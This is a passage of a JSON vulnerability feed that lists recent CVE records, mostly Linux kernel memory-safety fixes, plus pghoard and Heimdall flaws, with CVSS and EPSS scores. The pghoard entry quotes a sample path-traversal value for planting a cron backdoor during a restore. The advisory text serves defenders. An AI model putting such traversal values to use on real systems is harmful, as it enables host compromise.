exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:17.950Z","updatedAt":"2026-10-24T14:16:49.640Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98965","asOf":"2026-10-24T14:16:49.640Z"},"epss":{"probability":0.00527,"percentile":0.44356,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98965&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98965","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98965","type":"primary","publishedAt":"2026-10-23T13:17:17.950Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98965&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98965, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98964","cveId":"CVE-2026-98964","aliases":[],"kind":"vulnerability","title":"Linux kernel: nvmet: use the local P2P device on metadata allocation failure","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nnvmet: use the local P2P device on metadata allocation failure\n\nnvmet_req_alloc_p2pmem_sgls() assigns req->p2p_dev only after the data\nand metadata SGL allocations succeed. If the data allocation succeeds\nbut the metadata allocation fails, out_free_sg passes req->p2p_dev to\npci_p2pmem_free_sgl() before that assignment has taken place.\n\nPass the local p2p_dev argument instead, so cleanup uses the same PCI\ndevice as the successful data allocation.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nnvmet: use the local P2P device on metadata allocation failure\n\nnvmet_req_alloc_p2pmem_sgls() assigns req->p2p_dev only after the data\nand metadata SGL allocations succeed. If the data allocation succeeds\nbut the metadata allocation fails, out_free_sg passes req->p2p_dev to\npci_p2pmem_free_sgl() before that assignment has taken place.\n\nPass the local p2p_dev argument instead, so cleanup uses the same PCI\ndevice as the successful data allocation.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:17.830Z","updatedAt":"2026-10-24T14:16:49.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98964","asOf":"2026-10-24T14:16:49.490Z"},"epss":{"probability":0.00538,"percentile":0.45034,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98964&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98964","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98964","type":"primary","publishedAt":"2026-10-23T13:17:17.830Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98964&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98964, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98952","cveId":"CVE-2026-98952","aliases":[],"kind":"vulnerability","title":"Linux kernel: pfcp: make sure the SEID is linear before reading it","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\npfcp: make sure the SEID is linear before reading it\n\npfcp_encap_recv() only makes sure that the UDP header and the 4 byte\nPFCP header are in the linear area. When the S flag is set,\npfcp_session_recv() then reads the 8 byte SEID that follows, which is\nnot covered by the pskb_may_pull() check.\n\nA short PFCP packet with the S flag set, or one whose session header\nlies in a fragment, therefore makes pfcp_session_recv() read beyond the\nend of the packet data, and whatever it finds there is stored in the\ntunnel metadata that flower later classifies on.\n\nPull up to the end of the SEID before reading it, and drop packets\nthat are too short to contain it. Reload the header pointer afterwards\nsince pskb_may_pull() may reallocate the skb head.\n\nUse offsetofend() rather than sizeof(struct pfcphdr_session): the\nstructure is not packed, so its size is 16 bytes because of the\nalignment of the __be64 member, while the header on the wire is only 12\nbytes, and valid session messages would be dropped.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\npfcp: make sure the SEID is linear before reading it\n\npfcp_encap_recv() only makes sure that the UDP header and the 4 byte\nPFCP header are in the linear area. When the S flag is set,\npfcp_session_recv() then reads the 8 byte SEID that follows, which is\nnot covered by the pskb_may_pull() check.\n\nA short PFCP packet with the S flag set, or one whose session header\nlies in a fragment, therefore makes pfcp_session_recv() read beyond the\nend of the packet data, and whatever it finds there is stored in the\ntunnel metadata that flower later classifies on.\n\nPull up to the end of the SEID before reading it, and drop packets\nthat are too short to contain it. Reload the header pointer afterwards\nsince pskb_may_pull() may reallocate the skb head.\n\nUse offsetofend() rather than sizeof(struct pfcphdr_session): the\nstructure is not packed, so its size is 16 bytes because of the\nalignment of the __be64 member, while the header on the wire is only 12\nbytes, and valid session messages would be dropped.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:16.370Z","updatedAt":"2026-10-24T14:16:49.163Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98952","asOf":"2026-10-24T14:16:49.163Z"},"epss":{"probability":0.00377,"percentile":0.31368,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98952&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98952","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98952","type":"primary","publishedAt":"2026-10-23T13:17:16.370Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98952&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98952, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98945","cveId":"CVE-2026-98945","aliases":[],"kind":"vulnerability","title":"Linux kernel: HID: steam: Rearrange teardown sequence","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nHID: steam: Rearrange teardown sequence\n\nThis fixes a narrow window during the teardown sequence where callbacks\ncould still be scheduled during cleanup that would then have a dangling\npointer to the now-freed steam struct.\n\nThis also puts work canceling for rumble and mode switch in\nsteam_unregister, as that shouldn't persist while the client hdev is open.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nHID: steam: Rearrange teardown sequence\n\nThis fixes a narrow window during the teardown sequence where callbacks\ncould still be scheduled during cleanup that would then have a dangling\npointer to the now-freed steam struct.\n\nThis also puts work canceling for rumble and mode switch in\nsteam_unregister, as that shouldn't persist while the client hdev is open.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:15.533Z","updatedAt":"2026-10-26T07:17:18.260Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98945","asOf":"2026-10-26T07:17:18.260Z"},"epss":{"probability":0.00163,"percentile":0.05457,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98945&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98945","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98945","type":"primary","publishedAt":"2026-10-23T13:17:15.533Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98945&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98945, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98944","cveId":"CVE-2026-98944","aliases":[],"kind":"vulnerability","title":"Linux kernel: HID: steam: Refactor registration","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nHID: steam: Refactor registration\n\nThis refactors and simplifies the registration/unregistration flow. Since\nwe now only perform registration when the client isn't opened anymore, the\nlogic for handling that can be removed, and the rest of the function\nstreamlined.\n\nWe also remove the previous assumption that we have a serial number to show\nwe're registered, replacing it with a single purpose boolean.\n\nIn a previous refactor the code for unregistering a battery if later\nregistration steps failed was accidentally left out. As a result, a\nlingering power_supply object could get left over after the steam object\nwas torn down. This is also fixed here.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nHID: steam: Refactor registration\n\nThis refactors and simplifies the registration/unregistration flow. Since\nwe now only perform registration when the client isn't opened anymore, the\nlogic for handling that can be removed, and the rest of the function\nstreamlined.\n\nWe also remove the previous assumption that we have a serial number to show\nwe're registered, replacing it with a single purpose boolean.\n\nIn a previous refactor the code for unregistering a battery if later\nregistration steps failed was accidentally left out. As a result, a\nlingering power_supply object could get left over after the steam object\nwas torn down. This is also fixed here.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:15.417Z","updatedAt":"2026-10-26T07:17:18.120Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98944","asOf":"2026-10-26T07:17:18.120Z"},"epss":{"probability":0.00175,"percentile":0.0694,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98944&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98944","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98944","type":"primary","publishedAt":"2026-10-23T13:17:15.417Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98944&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98944, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98941","cveId":"CVE-2026-98941","aliases":[],"kind":"vulnerability","title":"Linux kernel: ext4: don't enable large folios on encrypted inodes","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\next4: don't enable large folios on encrypted inodes\n\nCommit 709f0f1f1bf5 (\"ext4: add checks for large folio\nincompatibilities when BS > PS\") disables large folios at mount time\nif the \"encrypt\" feature is set. However, enabling that feature on a\nmounted filesystem circumvents that check, and writing encrypted data\nresults in a crash:\n\n  BUG: kernel NULL pointer dereference, address: 0000000000000028\n  Workqueue: ext4-rsv-conversion ext4_end_io_rsv_work\n  RIP: 0010:ext4_finish_bio+0xf7/0x3e0\n  Call Trace:\n   ext4_release_io_end+0x51/0x110\n   ext4_end_io_end+0x4c/0xe0\n   ext4_end_io_rsv_work+0xb3/0x100\n\nFix this by disabling large folios on encrypted inodes, as is\nalready done for inodes that use data journaling.\n\nThis affects all kernels between v6.19 and v7.2, but it is not needed\nin v7.3, where the code was significantly refactored.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\next4: don't enable large folios on encrypted inodes\n\nCommit 709f0f1f1bf5 (\"ext4: add checks for large folio\nincompatibilities when BS > PS\") disables large folios at mount time\nif the \"encrypt\" feature is set. However, enabling that feature on a\nmounted filesystem circumvents that check, and writing encrypted data\nresults in a crash:\n\n  BUG: kernel NULL pointer dereference, address: 0000000000000028\n  Workqueue: ext4-rsv-conversion ext4_end_io_rsv_work\n  RIP: 0010:ext4_finish_bio+0xf7/0x3e0\n  Call Trace:\n   ext4_release_io_end+0x51/0x110\n   ext4_end_io_end+0x4c/0xe0\n   ext4_end_io_rsv_work+0xb3/0x100\n\nFix this by disabling large folios on encrypted inodes, as is\nalready done for inodes that use data journaling.\n\nThis affects all kernels between v6.19 and v7.2, but it is not needed\nin v7.3, where the code was significantly refactored.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:15.087Z","updatedAt":"2026-10-24T14:16:48.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98941","asOf":"2026-10-24T14:16:48.773Z"},"epss":{"probability":0.00142,"percentile":0.03441,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98941&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98941","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98941","type":"primary","publishedAt":"2026-10-23T13:17:15.087Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98941&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98941, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98932","cveId":"CVE-2026-98932","aliases":[],"kind":"vulnerability","title":"Linux kernel: EDAC/altera: Fix use-after-free in error paths","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nEDAC/altera: Fix use-after-free in error paths\n\nIn both altr_edac_a10_device_add() and altr_portb_setup(), the error path\nfreed the dci structure before releasing the devres group. Since the managed\nsingle and double bit IRQ handlers use altdev(dci->pvt_info) as their data, an\nIRQ firing between freeing dci and unregistering the IRQs could dereference\nthe freed memory.\n\nRelease the devres group first so the managed IRQs are unregistered\nbefore the dci structure is freed.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nEDAC/altera: Fix use-after-free in error paths\n\nIn both altr_edac_a10_device_add() and altr_portb_setup(), the error path\nfreed the dci structure before releasing the devres group. Since the managed\nsingle and double bit IRQ handlers use altdev(dci->pvt_info) as their data, an\nIRQ firing between freeing dci and unregistering the IRQs could dereference\nthe freed memory.\n\nRelease the devres group first so the managed IRQs are unregistered\nbefore the dci structure is freed.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:14.013Z","updatedAt":"2026-10-24T14:16:48.647Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98932","asOf":"2026-10-24T14:16:48.647Z"},"epss":{"probability":0.00177,"percentile":0.07234,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98932&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98932","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98932","type":"primary","publishedAt":"2026-10-23T13:17:14.013Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98932&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98932, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98927","cveId":"CVE-2026-98927","aliases":[],"kind":"vulnerability","title":"Linux kernel: KVM: arm64: nv: Fix life cycle of the nested_mmus array","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: arm64: nv: Fix life cycle of the nested_mmus array\n\nThe nested_mmus array holds the shadow page tables that are used when\na guest is running a nested context. These structures are allocated on\nVCPU_INIT for whole guest, which implies that they may have to be\nrelocated as the array grows.\n\nShould a VCPU_INIT occur whilst a vcpu is actively running an L2 and\nthat the allocation requires relocation, that vcpu will still be\nrunning with a pointer to the previous structure, which will have been\nfreed.\n\nFix this by turning the array of structures to an array of pointers,\nwhich is now allocated at VM creation, sized to the absolute maximum\nthat KVM can handle.\n\nIn turn, each VCPU_INIT contributes S2_MMU_PER_VCPU to the pool. No\nreallocation is ever performed, and the life cycle of each object is\nmuch clearer:\n\n- the nested_mmus array is allocated in kvm_init_nested(), and freed\n  in kvm_arch_destroy_vm()\n\n- s2_mmu structures are allocated in kvm_vcpu_init_nested(), and freed\n  on kvm_arch_flush_shadow_all()\n\nFinally, the freeing of vcpu->arch.vncr_array is made consistent\nrather than being done on some failure paths, but not others.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: arm64: nv: Fix life cycle of the nested_mmus array\n\nThe nested_mmus array holds the shadow page tables that are used when\na guest is running a nested context. These structures are allocated on\nVCPU_INIT for whole guest, which implies that they may have to be\nrelocated as the array grows.\n\nShould a VCPU_INIT occur whilst a vcpu is actively running an L2 and\nthat the allocation requires relocation, that vcpu will still be\nrunning with a pointer to the previous structure, which will have been\nfreed.\n\nFix this by turning the array of structures to an array of pointers,\nwhich is now allocated at VM creation, sized to the absolute maximum\nthat KVM can handle.\n\nIn turn, each VCPU_INIT contributes S2_MMU_PER_VCPU to the pool. No\nreallocation is ever performed, and the life cycle of each object is\nmuch clearer:\n\n- the nested_mmus array is allocated in kvm_init_nested(), and freed\n  in kvm_arch_destroy_vm()\n\n- s2_mmu structures are allocated in kvm_vcpu_init_nested(), and freed\n  on kvm_arch_flush_shadow_all()\n\nFinally, the freeing of vcpu->arch.vncr_array is made consistent\nrather than being done on some failure paths, but not others.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:13.450Z","updatedAt":"2026-10-24T14:16:48.507Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98927","asOf":"2026-10-24T14:16:48.507Z"},"epss":{"probability":0.00154,"percentile":0.0445,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98927&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98927","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98927","type":"primary","publishedAt":"2026-10-23T13:17:13.450Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98927&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98927, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63120","cveId":"CVE-2026-63120","aliases":[],"kind":"vulnerability","title":"pghoard is a PostgreSQL backup daemon and restore tooling that stores backup data in cloud object stores.","summary":"pghoard is a PostgreSQL backup daemon and restore tooling that stores backup data in cloud object stores. Prior to version 2.7.2, an incomplete path traversal fix in pghoard allows an attacker with write access to the backup object storage (such as S3, GCS, or Azure) to execute arbitrary file writes and directory creation outside the designated PostgreSQL data directory (pgdata). When a database administrator executes a restore operation (via pghoard_restore get-basebackup), a maliciously crafted delta backup manifest with path traversal sequences (e.g., ../../../../etc/cron.d/backdoor) will write arbitrary payloads to the host system. This issue has been patched in version 2.7.2.","detail":"pghoard is a PostgreSQL backup daemon and restore tooling that stores backup data in cloud object stores. Prior to version 2.7.2, an incomplete path traversal fix in pghoard allows an attacker with write access to the backup object storage (such as S3, GCS, or Azure) to execute arbitrary file writes and directory creation outside the designated PostgreSQL data directory (pgdata). When a database administrator executes a restore operation (via pghoard_restore get-basebackup), a maliciously crafted delta backup manifest with path traversal sequences (e.g., ../../../../etc/cron.d/backdoor) will write arbitrary payloads to the host system. This issue has been patched in version 2.7.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:12.010Z","updatedAt":"2026-10-23T19:57:42.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":["PostgreSQL"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63120","asOf":"2026-10-23T19:57:42.660Z"},"epss":{"probability":0.00401,"percentile":0.3405,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63120&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63120","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63120","type":"primary","publishedAt":"2026-10-23T13:17:12.010Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63120&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63120, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-57210","cveId":"CVE-2026-57210","aliases":[],"kind":"vulnerability","title":"Heimdall is a cloud native Identity Aware Proxy and Access Control Decision service.","summary":"Heimdall is a cloud native Identity Aware Proxy and Access Control Decision service. Prior to version 0.17.17, when the trusted_proxies option is configured, heimdall extracts client IP addresses from the Forwarded (for= parameter) and X-Forwarded-For headers and exposes them as Request.ClientIPAddresses to the rule pipeline. However, extracted values are not validated to be syntactically valid IP addresses. Arbitrary strings, malformed IP literals, and RFC 7239 unknown values and obfuscated identifiers are accepted without further checks. In addition, the Forwarded header parser splits on , and ; without accounting for RFC 7239 quoted strings, which can cause a single quoted value to be parsed as multiple entries, with fragments — including trailing quote characters — treated as independent addresses. This issue has been patched in version 0.17.17.","detail":"Heimdall is a cloud native Identity Aware Proxy and Access Control Decision service. Prior to version 0.17.17, when the trusted_proxies option is configured, heimdall extracts client IP addresses from the Forwarded (for= parameter) and X-Forwarded-For headers and exposes them as Request.ClientIPAddresses to the rule pipeline. However, extracted values are not validated to be syntactically valid IP addresses. Arbitrary strings, malformed IP literals, and RFC 7239 unknown values and obfuscated identifiers are accepted without further checks. In addition, the Forwarded header parser splits on , and ; without accounting for RFC 7239 quoted strings, which can cause a single quoted value to be parsed as multiple entries, with fragments — including trailing quote characters — treated as independent addresses. This issue has been patched in version 0.17.17.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor 